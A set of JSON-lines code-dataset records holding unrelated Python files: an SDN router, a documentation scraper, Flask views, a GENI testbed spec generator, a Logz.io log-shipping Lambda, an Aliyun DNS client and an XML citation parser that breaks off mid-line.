stats['port_reply'][0]['port']\n cumulativeStats[switchObject.name] = {}\n for port in portStats:\n if (port['port_number'] != 'local'):\n if (int(port['port_number']) in switchObject.portMap):\n neighbor = switchObject.portMap[int(port['port_number'])]\n cumulativeStats[switchObject.name][neighbor.name] = port\n\n for portStats in self.api.collectBandwidth():\n switchId = portStats['dpid']\n if (portStats['port'] != 'local'):\n switchObject = self.topology.get('s' + switchId[len(switchId) - 1])\n if (int(portStats['port']) in switchObject.portMap):\n neighbor = switchObject.portMap[int(portStats['port'])]\n cumulativeStats[switchObject.name][neighbor.name]['link-speed-bits-per-second'] = portStats['link-speed-bits-per-second']\n cumulativeStats[switchObject.name][neighbor.name]['bits-per-second-rx'] = portStats['bits-per-second-rx']\n cumulativeStats[switchObject.name][neighbor.name]['bits-per-second-tx'] = portStats['bits-per-second-tx']\n\n return cumulativeStats\n\n def calculateRandomRoute(self, host, locations):\n randomBaseLocation = locations['base'][random.randint(0, len(locations['base']) - 1)]\n randomEnhancementLocation = locations['enhancement'][random.randint(0, len(locations['enhancement']) - 1)]\n\n routes = {}\n # return a random route for the base layer for the random base location\n routes['base'] = [{\n 'host': host,\n 'destination': randomBaseLocation,\n # just randomly select some switches (it's not checked if they are connected or not)\n '_path': [switch.name for switch in self.topology.switches if random.random() < RAND_SWITCH_DENSITY]\n }]\n # return 2 routes for the enhancement layer:\n # first one is selected randomly for the random enhancement location\n # second one is a fixed one to h7, passing through s1 and s2\n routes['enhancement'] = [{\n 'host': host,\n 'destination': randomEnhancementLocation,\n # just randomly select some switches (it's not checked if they are connected or not)\n '_path': [switch.name for switch in self.topology.switches if random.random() < RAND_SWITCH_DENSITY]\n }, {\n 'host': host,\n 'destination': 'h7',\n '_path': ['s1', 's2']\n }]\n return routes\n\n def calculateLatencyOptimalRoute(self, host, locations):\n return self.calculateRandomRoute(host, locations)\n\n def calculateEnergyOptimalRoute(self, host, locations):\n sys.stderr.write(json.dumps(self.collectStatistics()) + '\\n')\n return self.calculateRandomRoute(host, locations)\n\n def calculate(self, strategy, host, locations):\n if (strategy == 'random'):\n return self.calculateRandomRoute(host, locations)\n elif (strategy == 'energy'):\n return self.calculateEnergyOptimalRoute(host, locations)\n elif (strategy == 'flow-test'):\n return {\n 'base': [{\n 'host': 'h1',\n 'destination': 'h4',\n '_path': ['s1', 's5', 's6', 's4', 's7', 's3']\n }],\n 'enhancement': [{\n 'host': 'h1',\n 'destination': 'h7',\n '_path': ['s1', 's5']\n }]\n }\n else:\n return self.calculateLatencyOptimalRoute(host, locations)\n","sub_path":"network/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":4041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"166245859","text":"#!/usr/bin/env python2.7\n\nimport urllib2\nimport lxml.html\n\nclass_name_list = []\nmethod_name_list = []\n\nuia_doc_dir = 'https://developer.apple.com/library/ios/documentation/'\nuia_doc_devtool_ref = 'DeveloperTools/Reference/UIAutomationRef/_index.html'\n\ndict_file = './uia_raw.dict'\n\n\ndef rewrite_to():\n\tf = open(dict_file, 'w')\n\n\tfor buf in class_name_list:\n\t\tf.writelines(buf)\n\t\tf.writelines('\\n')\n\t\n\tfor buf in method_name_list:\n\t\tf.writelines(buf)\n\t\tf.writelines('\\n')\n\n\tf.close()\n\n\ndef create_dict():\n\tfetch_class_name()\n\n\ndef fetch_class_name():\n\topener = urllib2.build_opener()\n\tfp = opener.open(uia_doc_dir + uia_doc_devtool_ref)\n\n\tdoc = lxml.html.fromstring(fp.read().decode('utf-8'))\n\t_classes = doc.xpath('//div[@class=\"collectionColumn1\"]/ol/li[@class=\"forums\"]')\n\t\n\tfor _class in _classes:\n\t\tfetch_method_name(list_element = _class)\n\n\t\tfor name in _class.itertext():\n\t\t\tclass_name_list.append(name.lstrip().rstrip())\n\t\n\ndef fetch_method_name(list_element = ''):\n\tclass_ref_uri = assemble_uri(list_element.iterchildren().next().get('href'))\n\n\tfp = urllib2.build_opener().open(class_ref_uri)\n\tdoc = lxml.html.fromstring(fp.read().decode('utf-8'))\n\t_methods = doc.xpath('//div[@class=\"tableholder\"]/table/tr/td[@scope=\"row\"]')\n\n\tfor _method in _methods:\n\t\tfor name in _method.itertext():\n\t\t\tmethod_name_list.append(name.lstrip().rstrip())\n\n\t_methods = doc.xpath('//div[@id=\"Tasks_section\"]/ul[@class=\"tooltip\"]/li/span[@class=\"tooltip\"]/code')\n\n\tfor _method in _methods:\n\t\tfor name in _method.itertext():\n\t\t\tmethod_name_list.append(name.lstrip().rstrip())\n\n\ndef assemble_uri(dir = ''):\n\tsliced_dir = dir[9:]\n\treturn str(uia_doc_dir + sliced_dir)\n\n\n\ncreate_dict()\nrewrite_to()\n","sub_path":"uia_raw_dict.py","file_name":"uia_raw_dict.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"302822443","text":"#--*-- coding: utf-8 --*--\nfrom flask import Flask, render_template, flash, redirect, url_for, session, request, logging, Blueprint, g\nfrom wtforms import Form, StringField, TextAreaField, PasswordField, validators\nfrom passlib.hash import sha256_crypt\nfrom functools import wraps\nfrom werkzeug.security import check_password_hash, generate_password_hash\nfrom .db_connection import getDB\nimport logging\ndb = getDB()\nfrom .login import is_logged_in\nimport json\nfrom flask import current_app as app\n# from flask import current_app as app\n\n\nbp = Blueprint('home', __name__, url_prefix='/home' )\n\n@bp.route('/')\n@is_logged_in\ndef home():\n user_info=db.query(\"\"\"\n select user_id,profile_picture_class,workspace_id\n from system.user where user_id=%s\n \"\"\"%session['user_id']).dictresult()[0]\n #para saber si es consultor\n is_consultant=db.query(\"\"\"\n select * from system.consultants\n where user_id=%s\n \"\"\"%session['user_id']).dictresult()\n if is_consultant==[]:\n user_info['consultant']=False\n else:\n user_info['consultant']=True\n g.user_info=json.dumps(user_info)\n g.profile_picture_class=user_info['profile_picture_class']\n g.notifications=False\n return render_template('home.html',g=g)\n\n@bp.route('/consultant')\n@is_logged_in\ndef consultant():\n #buscar si está en lista de consultores\n is_consultant=db.query(\"\"\"\n select * from system.consultants\n where user_id=%s\n \"\"\"%session['user_id']).dictresult()\n if is_consultant!=[]:\n user_info=db.query(\"\"\"\n select user_id,profile_picture_class,workspace_id\n from system.user where user_id=%s\n \"\"\"%session['user_id']).dictresult()[0]\n user_info['consultant_workspaces']=is_consultant[0]['workspaces']\n user_info['consultant']=True\n g.user_info=json.dumps(user_info)\n g.profile_picture_class=user_info['profile_picture_class']\n g.notifications=False\n return render_template('consultant_home.html',g=g)\n else:\n db.query(\"\"\"\n update system.user_session\n set logged=False,\n finish_session='now'\n where session_id=%s\n and user_id=%s\n \"\"\"%(session['session_id'],session['user_id']))\n session.clear()\n return redirect(url_for('login.login'))\n\n\n\n\n@bp.route('/notifications')\n@is_logged_in\ndef notifications():\n return render_template('notifications.html')\n","sub_path":"views/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"56958123","text":"import geni.util\nimport logging\nimport geni.rspec.pg as PG\nimport argparse\n\ndef nodes_rspec(context, number):\n interfaces = [i for i in xrange(number)]\n r = PG.Request()\n\n nodeA = PG.Node(\"A\", \"emulab-xen\")\n nodeA.addService(PG.Install(url=\"http://pages.cs.wisc.edu/~rkrish/GENI/ospf-script-{0}intf.tar.gz\".format(2*number), path=\"/local\"))\n nodeA.addService(PG.Execute(shell=\"sh\", command=\"/local/ospf-script-{0}intf.sh\".format(2*number)))\n nodeA.exclusive = False\n nodeA_host_intf_list = []\n nodeA_router_intf_list = []\n for i in interfaces:\n nodeA_host_intf = nodeA.addInterface(\"if_AH{0}\".format(i))\n nodeA_host_intf.addAddress(PG.IPv4Address(\"192.165.{0}.1\".format(i+1), \"255.255.255.0\"))\n nodeA_host_intf_list.append(nodeA_host_intf)\n nodeA_router_intf = nodeA.addInterface(\"if_AR{0}\".format(i))\n nodeA_router_intf.addAddress(PG.IPv4Address(\"192.166.{0}.1\".format(i+1), \"255.255.255.0\"))\n nodeA_router_intf_list.append(nodeA_router_intf)\n r.addResource(nodeA)\n\n nodeB = PG.Node(\"B\", \"emulab-xen\")\n nodeB.addService(PG.Install(url=\"http://pages.cs.wisc.edu/~rkrish/GENI/ospf-script-{0}intf.tar.gz\".format(2*number), path=\"/local\"))\n nodeB.addService(PG.Execute(shell=\"sh\", command=\"/local/ospf-script-{0}intf.sh\".format(2*number)))\n nodeB.exclusive = False\n nodeB_host_intf_list = []\n nodeB_router_intf_list = []\n for i in interfaces:\n nodeB_router_intf = nodeB.addInterface(\"if_BR{0}\".format(i))\n nodeB_router_intf.addAddress(PG.IPv4Address(\"192.167.{0}.1\".format(i+1), \"255.255.255.0\"))\n nodeB_router_intf_list.append(nodeB_router_intf)\n nodeB_host_intf = nodeB.addInterface(\"if_BH{0}\".format(i))\n nodeB_host_intf.addAddress(PG.IPv4Address(\"192.168.{0}.1\".format(i+1), \"255.255.255.0\"))\n nodeB_host_intf_list.append(nodeB_host_intf)\n r.addResource(nodeB)\n\n router_intf_A_list = []\n router_intf_B_list = []\n host_intf_A_list = []\n host_intf_B_list = []\n for i in interfaces:\n router = PG.Node(\"Router{0}\".format(i+1), \"emulab-xen\")\n router.addService(PG.Install(url=\"http://pages.cs.wisc.edu/~rkrish/GENI/ospf-script-2intf.tar.gz\", path=\"/local\"))\n router.addService(PG.Execute(shell=\"sh\", command=\"/local/ospf-script-2intf.sh\".format(number)))\n router.exclusive = False\n router_intf_A = router.addInterface(\"if_RA{0}\".format(i))\n router_intf_A.addAddress(PG.IPv4Address(\"192.166.{0}.2\".format(i+1), \"255.255.255.0\"))\n router_intf_A_list.append(router_intf_A)\n router_intf_B = router.addInterface(\"if_RB{0}\".format(i))\n router_intf_B.addAddress(PG.IPv4Address(\"192.167.{0}.2\".format(i+1), \"255.255.255.0\"))\n router_intf_B_list.append(router_intf_B)\n r.addResource(router)\n\n hostHA = PG.Node(\"H{0}\".format(2*i+1), \"emulab-xen\")\n hostHA.addService(PG.Execute(shell=\"sh\", command=\"sudo yum install iperf -y\"))\n hostHA.exclusive = False\n host_intf_A = hostHA.addInterface(\"if_HA{0}\".format(i))\n host_intf_A.addAddress(PG.IPv4Address(\"192.165.{0}.2\".format(i+1), \"255.255.255.0\"))\n host_intf_A_list.append(host_intf_A)\n r.addResource(hostHA)\n\n hostHB = PG.Node(\"H{0}\".format(2*i+2), \"emulab-xen\")\n hostHB.addService(PG.Execute(shell=\"sh\", command=\"sudo yum install iperf -y\"))\n hostHB.exclusive = False\n host_intf_B = hostHB.addInterface(\"if_HB{0}\".format(i))\n host_intf_B.addAddress(PG.IPv4Address(\"192.168.{0}.2\".format(i+1), \"255.255.255.0\"))\n host_intf_B_list.append(host_intf_B)\n r.addResource(hostHB)\n\n for i in interfaces:\n linkHA = PG.Link(\"linkHA{0}\".format(interfaces[i]))\n linkHA.addInterface(host_intf_A_list[i])\n linkHA.addInterface(nodeA_host_intf_list[i])\n linkHA.bandwidth = 20000\n r.addResource(linkHA)\n\n linkHB = PG.Link(\"linkHB{0}\".format(interfaces[i]))\n linkHB.addInterface(host_intf_B_list[i])\n linkHB.addInterface(nodeB_host_intf_list[i])\n linkHB.bandwidth = 20000\n r.addResource(linkHB)\n\n linkRA = PG.Link(\"linkRA{0}\".format(interfaces[i]))\n linkRA.addInterface(router_intf_A_list[i])\n linkRA.addInterface(nodeA_router_intf_list[i])\n linkRA.bandwidth = 20000\n r.addResource(linkRA)\n\n linkRB = PG.Link(\"linkRB{0}\".format(interfaces[i]))\n linkRB.addInterface(router_intf_B_list[i])\n linkRB.addInterface(nodeB_router_intf_list[i])\n linkRB.bandwidth = 20000\n r.addResource(linkRB)\n\n name = \"Performance-{0}.rspec\".format(number)\n r.writeXML(name)\n\nif __name__ == \"__main__\":\n logging.info(\"Did you run 'context-from-bundle --bundle ~/Downloads/omni.bundle' before this?\\n\")\n context = geni.util.loadContext()\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-n\", \"--number\", help=\"Number of interfaces.\", dest=\"number\", type=int)\n args = parser.parse_args()\n\n nodes_rspec(context, args.number)\n","sub_path":"src/realdeployment/ExperimentPerformance/generateRSpec.py","file_name":"generateRSpec.py","file_ext":"py","file_size_in_byte":5020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"472893350","text":"\"\"\"\nGiven a string, find the length of the longest substring without repeating characters.\n\nExample\nFor example, the longest substring without repeating letters for \"abcabcbb\" is \"abc\", which the length is 3.\n\nFor \"bbbbb\" the longest substring is \"b\", with the length of 1.\n\nChallenge\nO(n) time\n\"\"\"\ndef lengthOfLongestSubstring(s):\n # @param s: a string\n # @return: an integer\n n = len(s)\n start = 0\n end = 0\n max_length = 0\n char_set = set()\n while end < n:\n char = s[end]\n if char not in char_set:\n char_set.add(char)\n end += 1\n max_length = max(max_length, end - start)\n else:\n while start < end:\n remove_char = s[start]\n char_set.remove(remove_char)\n start += 1\n if remove_char == char:\n break\n return max_length","sub_path":"lintcode/longest_substring_without_repeating_characters.py","file_name":"longest_substring_without_repeating_characters.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"30615320","text":"import gzip\nimport io\nimport json\nimport logging\nimport base64\nimport boto3\n\nfrom shipper import LogzioShipper\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\nssm = boto3.client('ssm')\n\n\nlogzio_param_list = ssm.get_parameters_by_path(\n Path='/logging/logzio',\n WithDecryption=True\n )['Parameters']\nlogzio_params = {\n logzio_param_list[i]['Name']: logzio_param_list[i]['Value']\n for i in range(0, len(logzio_param_list))\n }\nlogzio_url_base = logzio_params['/logging/logzio/url']\nlogzio_type = logzio_params['/logging/logzio/type']\nlogzio_format = logzio_params['/logging/logzio/format']\nlogzio_token = logzio_params['/logging/logzio/token']\n\n\ndef _extract_aws_logs_data(event):\n try:\n logs_data_decoded = base64.b64decode(event['awslogs']['data'])\n logs_data_unzipped = gzip.GzipFile(\n fileobj=io.BytesIO(logs_data_decoded)\n ).read()\n logs_data_dict = json.loads(logs_data_unzipped)\n return logs_data_dict\n except ValueError as e:\n logger.error('Got exception while loading json, message: {}'.format(e))\n raise ValueError('Exception: json loads')\n\n\ndef _parse_cloudwatch_log(log, aws_logs_data):\n # type: (dict, dict) -> None\n if '@timestamp' not in log:\n log['@timestamp'] = str(log['timestamp'])\n del log['timestamp']\n\n log['message'] = log['message'].replace('\\n', '')\n log['logStream'] = aws_logs_data['logStream']\n log['messageType'] = aws_logs_data['messageType']\n log['owner'] = aws_logs_data['owner']\n log['logGroup'] = aws_logs_data['logGroup']\n log['function_version'] = aws_logs_data['function_version']\n log['invoked_function_arn'] = aws_logs_data['invoked_function_arn']\n\n # If FORMAT is json treat message as a json\n try:\n if logzio_format == 'json':\n json_object = json.loads(log['message'])\n for key, value in json_object.items():\n log[key] = value\n except (KeyError, ValueError):\n pass\n\n\ndef _enrich_logs_data(aws_logs_data, context):\n # type: (dict, 'LambdaContext') -> None\n try:\n aws_logs_data['function_version'] = context.function_version\n aws_logs_data['invoked_function_arn'] = context.invoked_function_arn\n except KeyError:\n pass\n\n\ndef lambda_handler(event, context):\n logzio_url = '{0}/?token={1}&type={2}'.format(\n logzio_url_base, logzio_token, logzio_type\n )\n\n aws_logs_data = _extract_aws_logs_data(event)\n _enrich_logs_data(aws_logs_data, context)\n shipper = LogzioShipper(logzio_url)\n\n logger.info('About to send {} logs'.format(\n len(aws_logs_data['logEvents']))\n )\n for log in aws_logs_data['logEvents']:\n if not isinstance(log, dict):\n raise TypeError('Expected log inside logEvents to be a dict but found another type')\n\n _parse_cloudwatch_log(log, aws_logs_data)\n shipper.add(log)\n\n shipper.flush()\n","sub_path":"logging/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"484440213","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n## 更新阿里(万网)DNS记录\n## Author: Beeven Yip (beeven@hotmail.com)\n## Date: 2018-10-27\n\nimport requests\nimport urllib\nimport datetime\nimport uuid\nimport hashlib\nimport hmac\nimport base64\nimport sys\nimport argparse\n\nACCESS_KEY_ID = \"afasdbaasdf\"\nACCESS_KEY_SECRET = \"abcdafasdf\"\nDOMAIN_NAME = \"example.com\"\nHOST = \"www\"\nRECORD_ID = \"123123123\"\n\nAPI_URL = \"http://alidns.aliyuncs.com/\"\n\n\ndef get_public_ip():\n resp = requests.get(\"http://ip.taobao.com/service/getIpInfo.php?ip=myip\")\n if resp.status_code != requests.codes.ok:\n print(\"Error\", resp.text)\n resp.raise_for_status()\n res = resp.json()\n return res[\"data\"][\"ip\"]\n\n\ndef get_common_params():\n return {\n 'Format': 'JSON',\n 'Version': '2015-01-09',\n 'AccessKeyId': ACCESS_KEY_ID,\n 'SignatureMethod': 'HMAC-SHA1',\n 'SignatureVersion': '1.0'\n }\n\n\ndef sign(params, method='GET'):\n if 'Timestamp' not in params:\n params['Timestamp'] = datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n if 'SignatureNonce' not in params:\n params['SignatureNonce'] = str(uuid.uuid4())\n strtosign = ''\n for key in sorted(params.iterkeys()):\n strtosign += '&' + urllib.quote(str(key), '/~') + '=' + urllib.quote(str(params[key]), '/~')\n strtosign = strtosign[1:]\n strtosign = method + '&%2F&' + urllib.quote(strtosign, '/~')\n hash = hmac.new(ACCESS_KEY_SECRET + '&', strtosign, hashlib.sha1)\n return base64.encodestring(hash.digest()).strip()\n\n\ndef call_api(params, method='GET'):\n params.update(get_common_params())\n signature = sign(params, method)\n params['Signature'] = signature\n url = API_URL + '?' + urllib.urlencode(params)\n resp = requests.get(url)\n if resp.status_code != requests.codes.ok:\n print(resp.text)\n resp.raise_for_status()\n return resp.json()\n\n\ndef query_dns(domain_name, record='', typ='A', value=''):\n\n resp = call_api({\n 'Action': 'DescribeDomainRecords',\n 'DomainName': domain_name,\n 'RRKeyWord': record,\n 'TypeKeyWord': typ,\n 'ValueKeyWord': value,\n 'PageNumber': \"1\",\n 'PageSize': \"500\"\n })\n\n records = resp['DomainRecords']['Record']\n\n records_count = int(resp['TotalCount'])\n if records_count > 500:\n remaining_pages = records_count // 500 # skipping the first page\n for p in range(remaining_pages):\n resp = call_api({\n 'Action': 'DescribeDomainRecords',\n 'DomainName': domain_name,\n 'RRKeyWord': record,\n 'TypeKeyWord': typ,\n 'ValueKeyWord': value,\n 'PageNumber': str(2+p),\n 'PageSize': \"500\"\n })\n records.extend(resp['DomainRecords']['Record'])\n\n return list(map(lambda r: (r['RecordId'],r['RR'],r['Type'],r['Value'],r['Line']), records))\n\n\ndef get_dns_record(record_id):\n resp = call_api({\n 'Action': 'DescribeDomainRecordInfo',\n 'RecordId': record_id\n })\n return resp['RecordId'], resp['RR'], resp['Type'], resp['Value'], resp['Line']\n\n\ndef update_dns_record(record_id, record, typ, value, line='default'):\n resp = call_api({\n 'Action': 'UpdateDomainRecord',\n 'RecordId': record_id,\n 'RR': record,\n 'Type': typ,\n 'Value': value,\n 'Line': line\n })\n\n\ndef add_dns_record(domain_name, record, typ, value, line='default'):\n resp = call_api({\n 'Action': 'AddDomainRecord',\n 'DomainName': domain_name,\n 'RR': record,\n 'Type': typ,\n 'Value': value,\n 'Line': line\n })\n return resp['RecordId']\n\n\ndef delete_dns_record(recordId):\n resp = call_api({\n 'Action': 'DeleteDomainRecord',\n 'RecordId': recordId,\n })\n return resp['RecordId']\n\ndef delete_dns_records(domain_name, record, typ='A'):\n resp = call_api({\n 'Action': 'DeleteSubDomainRecords',\n 'DomainName': domain_name,\n 'RR': record,\n 'Type': typ\n })\n return resp['TotalCount']\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-o', '--output', nargs='?', type=argparse.FileType('w'), default=sys.stdout)\n parser.add_argument('--keyid', nargs='?', default=ACCESS_KEY_ID)\n parser.add_argument('--keysecret', nargs='?', default=ACCESS_KEY_SECRET)\n\n subparsers = parser.add_subparsers(title='command', dest='command')\n\n parser_query = subparsers.add_parser('query', help='query dns records')\n parser_query.add_argument('--domain', default=DOMAIN_NAME)\n parser_query.add_argument('host', nargs='?', default='')\n parser_query.add_argument('type', nargs='?', default='A', help='DNS record type. Ex. A, AAAA, CNAME, MX. Default is A.')\n parser_query.add_argument('value', nargs='?', default='')\n\n parser_update = subparsers.add_parser('update', help='update a dns record')\n parser_update.add_argument('--host', default=HOST)\n parser_update.add_argument('--type', default='A', help='DNS record type. Ex. A, AAAA, CNAME, MX. Default is A.')\n parser_update.add_argument('--recordId', default=RECORD_ID)\n parser_update.add_argument('--line', default='default')\n parser_update.add_argument('ip', nargs='?', help='if omitted, get public ip from ip.taobao.com')\n\n parser_delete = subparsers.add_parser('delete', help='delete a dns record')\n parser_delete.add_argument('--domain', default=DOMAIN_NAME)\n group = parser_delete.add_mutually_exclusive_group(required=True)\n group.add_argument('--host', action='store_true', help='Delete all records of the host')\n group.add_argument('--recordId', action='store_true', help='Delete one record with the Record ID')\n parser_delete.add_argument('value', help='Host or Record ID')\n parser_delete.add_argument('type', nargs='?', default='A', help='DNS record type. Ex. A, AAAA, CNAME, MX. Default is A.')\n\n parser_add = subparsers.add_parser('add', help='add a dns record')\n parser_add.add_argument('--domain', default=DOMAIN_NAME)\n parser_add.add_argument('host')\n parser_add.add_argument('type')\n parser_add.add_argument('value')\n parser_add.add_argument('line', nargs='?', default='default')\n\n args = parser.parse_args()\n sys.stdout = args.output\n ACCESS_KEY_ID = args.keyid\n ACCESS_KEY_SECRET = args.keysecret\n\n if args.command == 'update':\n ip = args.ip is not None and args.ip or get_public_ip()\n record = get_dns_record(args.recordId)\n if record[3] != ip:\n update_dns_record(record[0], args.host, args.type, ip, args.line)\n print(\"good {0}\".format(ip))\n elif args.command == 'query':\n records = query_dns(args.domain, args.host, args.type, args.value)\n for r in records:\n print(\"Record ID: {0}\\tHost: {1}\\tType: {2}\\tValue: {3}\\tLine: {4}\".format(*r))\n elif args.command == 'delete':\n if args.host:\n count = delete_dns_records(args.domain, args.value, args.type)\n print(\"{0} records deleted\".format(count))\n else:\n delete_dns_record(args.value)\n print(\"Record ID {0} deleted\".format(args.value))\n\n elif args.command == 'add':\n recordId = add_dns_record(args.domain, args.host, args.type, args.value, args.line)\n print(\"Record ID: {0}\".format(recordId))\n","sub_path":"alidydnsclient.py","file_name":"alidydnsclient.py","file_ext":"py","file_size_in_byte":7393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"125235163","text":"from exceptions import WrongXmlDataToParse\nimport xmltodict\nfrom collections import OrderedDict\nfrom nested_lookup import nested_lookup\n\n\nclass xml_handler:\n \"\"\"Poskytuje funkcie na spracovanie roznych xml vstupov. \"\"\"\n\n def __init__(self):\n self.typy_zapisov = [\"text_number\", \"roman\", \"latin\"]\n\n def parse_xml(self, xml):\n try:\n return xmltodict.parse(xml)\n except():\n return WrongXmlDataToParse\n\n def find_in_nested_xml(self, xml, key):\n try:\n return nested_lookup(key, self.parse_xml(xml))\n except():\n return WrongXmlDataToParse\n\n def parse_unformatted_references(self, xml):\n begin = xml.find('')\n end = xml.rfind('') + len(\"\")\n\n records_xml = xml[begin:end]\n records_xml = records_xml.replace(\"\", \" \")\n records = records_xml.split(\"\")\n\n list_of_records = []\n for i in range(1, len(records)):\n record_xml = \"\\n\" + records[i].replace(\"oai:\", \"\") + \"\\n\"\n list_of_records.append(record_xml)\n return list_of_records\n\n def parse_references(self, xml):\n # (id_recordu, id_responseto, strana_response_to, citation_category_z_response_to)\n unformatted = self.parse_unformatted_references(xml)\n\n res = []\n for ref in unformatted:\n record_id = self.find_in_nested_xml(ref, 'header')[0]['identifier'][len('crepc.sk:biblio/'):]\n response_to_ids = self.find_in_nested_xml(ref, 'cross_biblio_biblio')[0]\n response_to_page = self.find_in_nested_xml(ref, 'number_from')\n\n if len(response_to_page) > 0:\n response_to_page = response_to_page[0]['latin']\n else:\n response_to_page = None\n if type(response_to_ids) != list:\n response_to_ids=[response_to_ids]\n for response in response_to_ids:\n if 'citation_category' in response:\n response_to_id = response['rec_biblio']['@id']\n response_to_category = response['citation_category']\n res.append((record_id, response_to_id, response_to_page, response_to_category))\n return res\n\n def parse_author(self, xml):\n \"\"\" Spracuje xml obsahujuce meno autora\n Arguments: xml {str} -- retazec s XML na spracovanie\n Returns: str -- id autora\n Raises: WrongXmlDataToParse -- nespravne data pre dane parsovanie \"\"\"\n return self.find_in_nested_xml(xml, 'rec_person')[0]['@id']\n\n def parse_database(self, xml):\n \"\"\" Spracuje xml obsahujuce nazov databazy\n Arguments: xml {str} -- retazec s XML na spracovanie\n Returns: str -- nazov databazy\n Raises: WrongXmlDataToParse -- nespravne data pre dane parsovanie \"\"\"\n return self.find_in_nested_xml(xml, 'database_id')[0]\n\n def parse_source(self, xml):\n \"\"\" Spracuje xml obsahujuce zdroj ohlasu\n Arguments: xml {str} -- retazec s XML na spracovanie\n Returns: str -- id zdroju\n Raises: WrongXmlDataToParse -- nespravne data pre dane parsovanie \"\"\"\n res = self.delist(self.find_in_nested_xml(xml, 'cross_biblio_biblio'))\n for i in res:\n i=self.delist(i)\n if \"@source\" in i:\n return i['rec_biblio']['@id']\n return None\n\n def parse_full_name(self, xml):\n \"\"\" Spracuje xml obsahujuce cely nazov publikacie\n Arguments: xml {str} -- retazec s XML na spracovanie\n Returns: str -- nazov publikacie\n Raises: WrongXmlDataToParse -- nespravne data pre dane parsovanie \"\"\"\n res = self.find_in_nested_xml(xml, 'title')\n index=0\n while index < len(res):\n i=res[index]\n index+=1\n if type(i)==list:\n res.extend(i[1:])\n i=i[0]\n if 'title_proper' in nested_lookup('@title_type',i):\n return \" \".join(i['#text'].split())\n\n return None\n\n def parse_token(self, xml):\n \"\"\"\n Ziska token z xml.\n :param xml: pre parsovanie\n :return: str -- token ak ho xml obsahuje inak None\n \"\"\"\n if not len(self.find_in_nested_xml(xml, 'oai:resumptionToken')):\n return None\n if '#text' not in self.find_in_nested_xml(xml, 'oai:resumptionToken')[0]:\n return None\n return self.find_in_nested_xml(xml, 'oai:resumptionToken')[0]['#text']\n\n def parse_affiliation_ids(self, xml):\n \"\"\"\n Ziska id prisluchajucich institucii z xml.\n :param xml: pre parsovanies\n :return: [str] -- zoznam idciek institucii\n \"\"\"\n affiliations = self.find_in_nested_xml(xml, 'rec_institution')\n ids = []\n for aff in affiliations:\n if len(nested_lookup('@id', aff)):\n ids.append(nested_lookup('@id', aff)[0])\n return ids\n\n def parse_parent_institution_id(self, xml):\n \"\"\"\n Ziska id rodica institucie z xml.\n :param xml: pre parsovanie\n :return: str -- id rodicovskej institucie inak None\n \"\"\"\n tmp=self.delist(self.find_in_nested_xml(xml, 'cross_institution_institution'))\n if type(tmp)!=list:\n tmp=[tmp]\n for i in tmp:\n i=self.delist(i)\n if \"parent_child_level\" in nested_lookup('@bond_type',i):\n return self.delist(nested_lookup('rec_institution',i))['@id']\n return None\n\n def parse_year(self, xml):\n \"\"\"\n Ziska rok z xml.\n :param xml: pre parsovanie\n :return: str -- rok\n \"\"\"\n tmp=self.delist(self.find_in_nested_xml(xml, 'year'))\n if nested_lookup(\"#text\",tmp):\n return nested_lookup(\"#text\",tmp)[0]\n if len(self.find_in_nested_xml(xml, 'year')):\n return self.find_in_nested_xml(xml, 'year')[0]\n return None\n\n\n def parse_authors_ids(self, xml):\n \"\"\"\n :param xml: pre parsovanie\n :return: [str] -- idcka autorov\n \"\"\"\n ids = []\n authors = self.find_in_nested_xml(xml, 'rec_person')\n for author in authors:\n ids.append(author['@id'])\n return ids\n\n def parse_author_name(self, xml):\n \"\"\" :param xml: pre parsovanie\n :return: str -- cele meno autora\n \"\"\"\n first_name = self.delist(self.find_in_nested_xml(xml, 'firstname'))\n last_name = self.delist(self.find_in_nested_xml(xml, 'lastname'))\n ret={'meno':None, 'priezvisko':None}\n if type(first_name)!=list:\n first_name=[first_name]\n if len(first_name):\n ret['meno']=first_name[0]\n if type(last_name) != list:\n last_name=[last_name]\n if len(last_name):\n ret['priezvisko']=last_name[0]\n return ret\n\n def parse_source_id(self, xml):\n \"\"\" :param xml: pre parsovanie\n :return: str -- id zdroja\n \"\"\"\n return self.parse_source(xml)\n\n def parse_source_name(self, xml):\n \"\"\" :param xml: pre parsovanie\n :return: str -- nazov zdroja\n \"\"\"\n return self.parse_full_name(xml)\n\n def parse_page(self, xml):\n \"\"\" :param xml: pre parsovanie\n :return: str -- strana\n \"\"\"\n res = self.delist(self.find_in_nested_xml(xml, 'cross_biblio_biblio'))\n for i in res:\n i = self.delist(i)\n if \"@source\" in i:\n pom=nested_lookup(\"number_from\",i)\n if len(pom):\n for typ in self.typy_zapisov:\n if len(nested_lookup(typ,pom)):\n return nested_lookup(typ,pom)[0]\n return None\n\n def parse_page_to(self, xml):\n \"\"\" :param xml: pre parsovanie\n :return: str -- strana\n \"\"\"\n res = self.delist(self.find_in_nested_xml(xml, 'cross_biblio_biblio'))\n for i in res:\n i = self.delist(i)\n if \"@source\" in i:\n pom=nested_lookup(\"number_to\",i)\n if len(pom):\n for typ in self.typy_zapisov:\n if len(nested_lookup(typ,pom)):\n return nested_lookup(typ,pom)[0]\n return None\n\n def parse_databeses_ids(self, xml):\n \"\"\" :param xml: pre parsovanie\n :return: [str] -- idcka databaz\n \"\"\"\n ids 